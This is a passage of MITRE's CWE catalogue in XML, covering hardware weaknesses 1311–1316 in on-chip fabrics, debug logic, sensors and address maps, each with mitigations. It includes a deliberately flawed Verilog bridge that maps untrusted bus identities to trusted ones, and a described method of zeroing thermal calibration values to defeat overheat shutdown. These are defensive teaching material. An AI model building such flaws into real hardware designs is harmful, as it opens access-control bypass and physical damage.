					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Common_Consequences, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Contribution Type="Feedback">
					<Contribution_Name>Jason Fung</Contribution_Name>
					<Contribution_Organization>Intel</Contribution_Organization>
					<Contribution_Date>2022-09-07</Contribution_Date>
					<Contribution_Comment>suggested removal of incorrect references</Contribution_Comment>
				</Contribution>
			</Content_History>
		</Weakness>
      <Weakness ID="1311" Name="Improper Translation of Security Attributes by Fabric Bridge" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>The bridge incorrectly translates security attributes from either trusted to untrusted or from untrusted to trusted when converting from one fabric protocol to another.</Description>
			<Extended_Description>
				<xhtml:p>A bridge allows IP blocks supporting different fabric protocols to be integrated into the system.  Fabric end-points or interfaces usually have dedicated signals to transport security attributes. For example, HPROT signals in AHB, AxPROT signals in AXI, and MReqInfo and SRespInfo signals in OCP.</xhtml:p>
				<xhtml:p>The values on these signals are used to indicate the security attributes of the transaction. These include the immutable hardware identity of the controller initiating the transaction, privilege level, and type of transaction (e.g., read/write, cacheable/non-cacheable, posted/non-posted).</xhtml:p>
				<xhtml:p>A weakness can arise if the bridge IP block, which translates the signals from the protocol used in the IP block endpoint to the protocol used by the central bus, does not properly translate the security attributes. As a result, the identity of the initiator could be translated from untrusted to trusted or vice-versa. This could result in access-control bypass, privilege escalation, or denial of service.</xhtml:p>
			</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
	 <Applicable_Platforms>	
	   <Language Name="Verilog" Prevalence="Undetermined"/>
           <Language Name="VHDL" Prevalence="Undetermined"/>
           <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
	 </Applicable_Platforms>
	 <Modes_Of_Introduction>
	   <Introduction>
	     <Phase>Architecture and Design</Phase>
	   </Introduction>
	   <Introduction>
	     <Phase>Implementation</Phase>
	   </Introduction>
	 </Modes_Of_Introduction>
	 <Common_Consequences>
	   <Consequence>
	     <Scope>Confidentiality</Scope>
	     <Scope>Integrity</Scope>
	     <Scope>Access Control</Scope>
	     <Impact>Modify Memory</Impact>
	     <Impact>Read Memory</Impact>
	     <Impact>Gain Privileges or Assume Identity</Impact>
	     <Impact>Bypass Protection Mechanism</Impact>
	     <Impact>Execute Unauthorized Code or Commands</Impact>
	   </Consequence>
	 </Common_Consequences>
	 <Potential_Mitigations>
	   <Mitigation>
	     <Phase>Architecture and Design</Phase>
	     <Description>The translation must map signals in such a way that untrusted agents cannot map to trusted agents or vice-versa.</Description>
	   </Mitigation>
	   <Mitigation>
	     <Phase>Implementation</Phase>
	     <Description>Ensure that the translation maps signals in such a way that untrusted agents cannot map to trusted agents or vice-versa.</Description>
	   </Mitigation>
	 </Potential_Mitigations>
	 <Demonstrative_Examples>
	   <Demonstrative_Example>
	     <Intro_Text>
	       <xhtml:p>The bridge interfaces between OCP and AHB end points. OCP uses MReqInfo signal to indicate security attributes, whereas AHB uses HPROT signal to indicate the security attributes. The width of MReqInfo can be customized as needed. In this example, MReqInfo is 5-bits wide and carries the privilege level of the OCP controller.</xhtml:p>
	       <xhtml:p>The values 5'h11, 5'h10, 5'h0F, 5'h0D, 5'h0C, 5'h0B, 5'h09, 5'h08, 5'h04, and 5'h02 in MReqInfo indicate that the request is coming from a privileged state of the OCP bus controller. Values 5'h1F, 5'h0E, and 5'h00 indicate untrusted, privilege state.</xhtml:p>
	       <xhtml:p>Though HPROT is a 5-bit signal, we only consider the lower, two bits in this example. HPROT values 2'b00 and 2'b10 are considered trusted, and 2'b01 and 2'b11 are considered untrusted.</xhtml:p>
	       <xhtml:p>The OCP2AHB bridge is expected to translate trusted identities on the controller side to trusted identities on the responder side.  Similarly, it is expected to translate untrusted identities on the controller side to untrusted identities on the responder side.</xhtml:p>
	     </Intro_Text>
	     <Example_Code Nature="Bad" Language="Verilog">
	       module ocp2ahb<xhtml:br/>
	      ( <xhtml:br/>
	      <xhtml:div style="margin-left:1em;">
	        ahb_hprot, <xhtml:br/>
	        ocp_mreqinfo <xhtml:br/>
	      </xhtml:div>
	      ); <xhtml:br/>
	      <xhtml:br/>
	      output [1:0] ahb_hprot;        // output is 2 bit signal for AHB HPROT<xhtml:br/>
	      input [4:0] ocp_mreqinfo;      // input is 5 bit signal from OCP MReqInfo<xhtml:br/>
	      wire [6:0] p0_mreqinfo_o_temp; // OCP signal that transmits hardware identity of bus controller<xhtml:br/>
	       <xhtml:br/>
	      wire y;<xhtml:br/>
	      <xhtml:br/>
	      reg [1:0] ahb_hprot;<xhtml:br/>
	      <xhtml:br/>
	      // hardware identity of bus controller is in bits 5:1 of p0_mreqinfo_o_temp signal<xhtml:br/>
	      assign p0_mreqinfo_o_temp[6:0] = {1'b0, ocp_mreqinfo[4:0], y};<xhtml:br/>
	      <xhtml:br/>
	      always @*<xhtml:br/>
	      begin<xhtml:br/>
	      <xhtml:div style="margin-left:1em;">
	        case (p0_mreqinfo_o_temp[4:2])<xhtml:br/>
		<xhtml:div style="margin-left:1em;">
	          000: ahb_hprot = 2'b11;    // OCP MReqInfo to AHB HPROT mapping<xhtml:br/>
	          001: ahb_hprot = 2'b00;<xhtml:br/>
	          010: ahb_hprot = 2'b00;<xhtml:br/>
	          011: ahb_hprot = 2'b01;<xhtml:br/>
	          100: ahb_hprot = 2'b00;<xhtml:br/>
	          101: ahb_hprot = 2'b00;<xhtml:br/>
	          110: ahb_hprot = 2'b10;<xhtml:br/>
	          111: ahb_hprot = 2'b00;<xhtml:br/>
		</xhtml:div>
	        endcase<xhtml:br/>
	      </xhtml:div>
	      end<xhtml:br/>
	      endmodule<xhtml:br/>
	     </Example_Code>
	     <Body_Text>Logic in the case statement only checks for MReqInfo bits 4:2, i.e., hardware-identity bits 3:1. When ocp_mreqinfo is 5'h1F or 5'h0E, p0_mreqinfo_o_temp[2] will be 1. As a result, untrusted IDs from OCP 5'h1F and 5'h0E get translated to trusted ahb_hprot values 2'b00.</Body_Text>
	   </Demonstrative_Example>
	 </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
            <Related_Attack_Pattern CAPEC_ID="180"/>
            <Related_Attack_Pattern CAPEC_ID="233"/>
         </Related_Attack_Patterns>
         <Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Manna</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-05-24</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Contribution Type="Feedback">
			      <Contribution_Name>Hareesh Khattri</Contribution_Name>
			      <Contribution_Organization>Intel Corporation</Contribution_Organization>
				  <Contribution_Date>2022-04-28</Contribution_Date>
			      <Contribution_Comment>Corrections in the demonstrative example.</Contribution_Comment>
			   </Contribution>
			</Content_History>
		</Weakness>
      <Weakness ID="1312" Name="Missing Protection for Mirrored Regions in On-Chip Fabric Firewall" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>The firewall in an on-chip fabric protects the main addressed region, but it does not protect any mirrored memory or memory-mapped-IO (MMIO) regions.</Description>
			<Extended_Description>
				<xhtml:p>Few fabrics mirror memory and address ranges, where mirrored regions contain copies of the original data. This redundancy is used to achieve fault tolerance. Whatever protections the fabric firewall implements for the original region should also apply to the mirrored regions. If not, an attacker could bypass existing read/write protections by reading from/writing to the mirrored regions to leak or corrupt the original data.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
              <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="PeerOf" CWE_ID="1251" View_ID="1194"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Access Control</Scope>
					<Impact>Modify Memory</Impact>
					<Impact>Read Memory</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
				<Detection_Method>
					<Method>Manual Dynamic Analysis</Method>
						<Description>Using an external debugger, send write transactions to mirrored regions to test if original, write-protected regions are modified. Similarly, send read transactions to mirrored regions to test if the original, read-protected signals can be read.</Description>
						<Effectiveness>High</Effectiveness>
				</Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>The fabric firewall should apply the same protections as the original region to the mirrored regions.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>The fabric firewall should apply the same protections as the original region to the mirrored regions.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>A memory-controller IP block is connected to the on-chip fabric in a System on Chip (SoC).  The memory controller is configured to divide the memory into four parts: one original and three mirrored regions inside the memory. The upper two bits of the address indicate which region is being addressed. 00 indicates the original region and 01, 10, and 11 are used to address the mirrored regions. All four regions operate in a lock-step manner and are always synchronized. The firewall in the on-chip fabric is programmed to protect the assets in the memory.</Intro_Text>
					<Body_Text>The firewall only protects the original range but not the mirrored regions.</Body_Text>
					<Body_Text>The attacker (as an unprivileged user) sends a write transaction to the mirrored region. The mirrored region has an address with the upper two bits set to "10" and the remaining bits of the address pointing to an asset. The firewall does not block this write transaction. Once the write is successful, contents in the protected-memory region are also updated. Thus, the attacker can bypass existing, memory protections.</Body_Text>
					<Body_Text>Firewall should protect mirrored regions.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="456"/>
            <Related_Attack_Pattern CAPEC_ID="679"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1134"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati K. Manna</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-06-01</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1313" Name="Hardware Allows Activation of Test or Debug Logic at Runtime" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>During runtime, the hardware allows for test or debug logic (feature) to be activated, which allows for changing the state of the hardware. This feature can alter the intended behavior of the system and allow for alteration and leakage of sensitive data by an adversary.</Description>
			<Extended_Description>
				<xhtml:p>An adversary can take advantage of test or debug logic that is made accessible through the hardware during normal operation to modify the intended behavior of the system. For example, an accessible Test/debug mode may allow read/write access to any system data. Using error injection (a common test/debug feature) during a transmit/receive operation on a bus, data may be modified to produce an unintended message. Similarly, confidentiality could be compromised by such features allowing access to secrets.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>Such issues could be introduced during hardware architecture and design and identified later during Testing or System Configuration phases.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Such issues could be introduced during implementation and identified later during Testing or System Configuration phases.</Note>
				</Introduction>
				<Introduction>
					<Phase>Integration</Phase>
					<Note>Such issues could be introduced during integration and identified later during Testing or System configuration phases.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Impact>Modify Memory</Impact>
					<Impact>Read Memory</Impact>
					<Impact>DoS: Crash, Exit, or Restart</Impact>
					<Impact>DoS: Instability</Impact>
					<Impact>DoS: Resource Consumption (CPU)</Impact>
					<Impact>DoS: Resource Consumption (Memory)</Impact>
					<Impact>DoS: Resource Consumption (Other)</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Alter Execution Logic</Impact>
					<Impact>Quality Degradation</Impact>
					<Impact>Unexpected State</Impact>
					<Impact>Reduce Performance</Impact>
					<Impact>Reduce Reliability</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Insert restrictions on when the hardware's test or debug features can be activated. For example, during normal operating modes, the hardware's privileged modes that allow access to such features cannot be activated. Configuring the hardware to only enter a test or debug mode within a window of opportunity such as during boot or configuration stage. The result is disablement of such test/debug features and associated modes during normal runtime operations.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Insert restrictions on when the hardware's test or debug features can be activated. For example, during normal operating modes, the hardware's privileged modes that allow access to such features cannot be activated. Configuring the hardware to only enter a test or debug mode within a window of opportunity such as during boot or configuration stage. The result is disablement of such test/debug features and associated modes during normal runtime operations.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Integration</Phase>
					<Description>Insert restrictions on when the hardware's test or debug features can be activated. For example, during normal operating modes, the hardware's privileged modes that allow access to such features cannot be activated. Configuring the hardware to only enter a test or debug mode within a window of opportunity such as during boot or configuration stage. The result is disablement of such test/debug features and associated modes during normal runtime operations.</Description>
				</Mitigation>
			</Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="121"/>
         </Related_Attack_Patterns>
         <Content_History>
				<Submission>
					<Submission_Name>Brent Sherman</Submission_Name>
					<Submission_Organization>Accellera IP Security Assurance (IPSA) Working Group</Submission_Organization>
					<Submission_Date>2020-08-06</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1314" Name="Missing Write Protection for Parametric Data Values" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>The device does not write-protect the parametric data values for sensors that scale the sensor value, allowing untrusted software to manipulate the apparent result and potentially damage hardware or cause operational failure.</Description>
			<Extended_Description>
				<xhtml:p>Various sensors are used by hardware to detect any devices operating outside of the design limits. The threshold limit values are set by hardware fuses or trusted software such as the BIOS. These limits may be related to thermal, power, voltage, current, and frequency. Hardware mechanisms may be used to protect against alteration of the threshold limit values by untrusted software.</xhtml:p>
				<xhtml:p>The limit values are generally programmed in standard units for the type of value being read. However, the hardware-sensor blocks may report the settings in different units depending upon sensor design and operation. The raw sensor output value is converted to the desired units using a scale conversion based on the parametric data programmed into the sensor. The final converted value is then compared with the previously programmed limits.</xhtml:p>
				<xhtml:p>While the limit values are usually protected, the sensor parametric data values may not be. By changing the parametric data, safe operational limits may be bypassed.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="862" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="PeerOf" CWE_ID="1299" View_ID="1194" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Sensor Hardware" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>The lack of a requirement to protect parametric values may contribute to this weakness.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>The lack of parametric value protection may be a cause of this weakness.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Availability</Scope>
					<Impact>Quality Degradation</Impact>
					<Impact>DoS: Resource Consumption (Other)</Impact>
					<Likelihood>High</Likelihood>
					<Note>Sensor value manipulation, particularly thermal or power, may allow physical damage to occur or disabling of the device by a false fault shutdown causing a Denial-Of-Service.</Note>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Access controls for sensor blocks should ensure that only trusted software is allowed to change threshold limits and sensor parametric data.</Description>
					<Effectiveness>High</Effectiveness>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>
						<xhtml:p>Malicious software executes instructions to increase power consumption to the highest possible level while causing the clock frequency to increase to its maximum value.
							Such a program executing for an extended period of time would likely overheat the device, possibly resulting in permanent damage to the device.
						</xhtml:p>
						<xhtml:p>A ring, oscillator-based temperature sensor will generally report the sensed value as
							oscillator frequency rather than degrees centigrade.  The temperature sensor will have
							calibration values that are used to convert the detected frequency into the corresponding temperature in degrees centigrade.
						</xhtml:p>
						<xhtml:p>Consider a SoC design where the critical maximum temperature limit is set in fuse values to 100C and
							is not modifiable by software.  If the scaled thermal sensor output equals or exceeds this limit, the system is commanded to shut itself down.
						</xhtml:p>
						<xhtml:p>The thermal sensor calibration values are programmable through registers that are exposed to system software.
						These registers allow software to affect the converted temperature output such that the output will never exceed the maximum temperature limit.</xhtml:p>
					</Intro_Text>
					<Example_Code Nature="Bad" Language="Other">
					<xhtml:p>The sensor frequency value is scaled by applying the function:</xhtml:p>
					<xhtml:div style="margin-left:1em;">Sensed Temp = a + b * Sensor Freq</xhtml:div>
					<xhtml:p>where a and b are the programmable calibration data coefficients. Software sets a and b to zero ensuring the sensed
							temperature is always zero.</xhtml:p>
					</Example_Code>
					<Body_Text>This weakness may be addressed by preventing access to a and b.</Body_Text>
					<Example_Code Nature="Good" Language="Other">
						<xhtml:p>The sensor frequency value is scaled by applying the function:</xhtml:p>
					<xhtml:div style="margin-left:1em;">Sensed Temp = a + b * Sensor Freq</xhtml:div>
						<xhtml:p>where a and b are the programmable calibration data coefficients. Untrusted software is prevented from changing the values of either a or b, 
							preventing this method of manipulating the temperature.</xhtml:p>
					</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
        <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2017-8252</Reference>
               <Description>Kernel can inject faults in computations during the execution of TrustZone leading to information disclosure in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer Electronics Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon IoT, Snapdragon Mobile, Snapdragon Voice and Music, Snapdragon Wearables, Snapdragon Wired Infrastructure and Networking.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-8252</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1082"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Hareesh Khattri, Parbati K. Manna, and Arun Kanuparthi</Submission_Name>
					<Submission_Organization>The Intel Corporation</Submission_Organization>
					<Submission_Date>2020-07-14</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1315" Name="Improper Setting of Bus Controlling Capability in Fabric End-point" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The bus controller enables bits in the fabric end-point to allow responder devices to control transactions on the fabric.</Description>
			<Extended_Description>
				<xhtml:p>To support reusability, certain fabric interfaces and end points provide a configurable register bit that allows IP blocks connected to the controller to access other peripherals connected to the fabric. This allows the end point to be used with devices that function as a controller or responder. If this bit is set by default in hardware, or if firmware incorrectly sets it later, a device intended to be a responder on a fabric is now capable of controlling transactions to other devices and might compromise system security.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
				<Introduction>
					<Phase>System Configuration</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Access Control</Scope>
					<Impact>Modify Memory</Impact>
					<Impact>Read Memory</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>For responder devices, the register bit in the fabric end-point that enables the bus controlling capability must be set to 0 by default. This bit should not be set during secure-boot flows. Also, writes to this register must be access-protected to prevent malicious modifications to obtain bus-controlling capability.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>For responder devices, the register bit in the fabric end-point that enables the bus controlling capability must be set to 0 by default. This bit should not be set during secure-boot flows. Also, writes to this register must be access-protected to prevent malicious modifications to obtain bus-controlling capability.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>System Configuration</Phase>
					<Description>For responder devices, the register bit in the fabric end-point that enables the bus controlling capability must be set to 0 by default. This bit should not be set during secure-boot flows. Also, writes to this register must be access-protected to prevent malicious modifications to obtain bus-controlling capability.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>A typical, phone platform consists of the main, compute core or CPU, a DRAM-memory chip, an audio codec, a baseband modem, a power-management-integrated circuit ("PMIC"), a connectivity (WiFi and Bluetooth) modem, and several other analog/RF components. The main CPU is the only component that can control transactions, and all the other components are responder-only devices. All the components implement a PCIe end-point to interface with the rest of the platform. The responder devices should have the bus-control-enable bit in the PCIe-end-point register set to 0 in hardware to prevent the devices from controlling transactions to the CPU or other peripherals.</Intro_Text>
					<Body_Text>The audio-codec chip does not have the bus-controller-enable-register bit hardcoded to 0.  There is no platform-firmware flow to verify that the bus-controller-enable bit is set to 0 in all responders.</Body_Text>
					<Body_Text>Audio codec can now master transactions to the CPU and other platform components. Potentially, it can modify assets in other platform components to subvert system security. </Body_Text>
					<Body_Text>Platform firmware includes a flow to check the configuration of bus-controller-enable bit in all responder devices. If this register bit is set on any of the responders, platform firmware sets it to 0. Ideally, the default value of this register bit should be hardcoded to 0 in RTL. It should also have access control to prevent untrusted entities from setting this bit to become bus controllers.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
            <Related_Attack_Pattern CAPEC_ID="180"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1135"/>
				<Reference External_Reference_ID="REF-1136"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati K. Manna</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-05-19</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1316" Name="Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>The address map of the on-chip fabric has protected and unprotected regions overlapping, allowing an attacker to bypass access control to the overlapping portion of the protected region.</Description>
			<Extended_Description>
				<xhtml:p>Various ranges can be defined in the system-address map, either in the memory or in Memory-Mapped-IO (MMIO) space. These ranges are usually defined using special range registers that contain information, such as base address and size. Address decoding is the process of determining for which range the incoming transaction is destined. To ensure isolation, ranges containing secret data are access-control protected.</xhtml:p>
				<xhtml:p>Occasionally, these ranges could overlap. The overlap could either be intentional (e.g. due to a limited number of range registers or limited choice in choosing size of the range) or unintentional (e.g. introduced by errors). Some hardware designs allow dynamic remapping of address ranges assigned to peripheral MMIO ranges. In such designs, intentional address overlaps can be created through misconfiguration by malicious software. When protected and unprotected ranges overlap, an attacker could send a transaction and potentially compromise the protections in place, violating the principle of least privilege. </xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>	
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Bus/Interface Hardware" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Access Control</Scope>
					<Scope>Authorization</Scope>
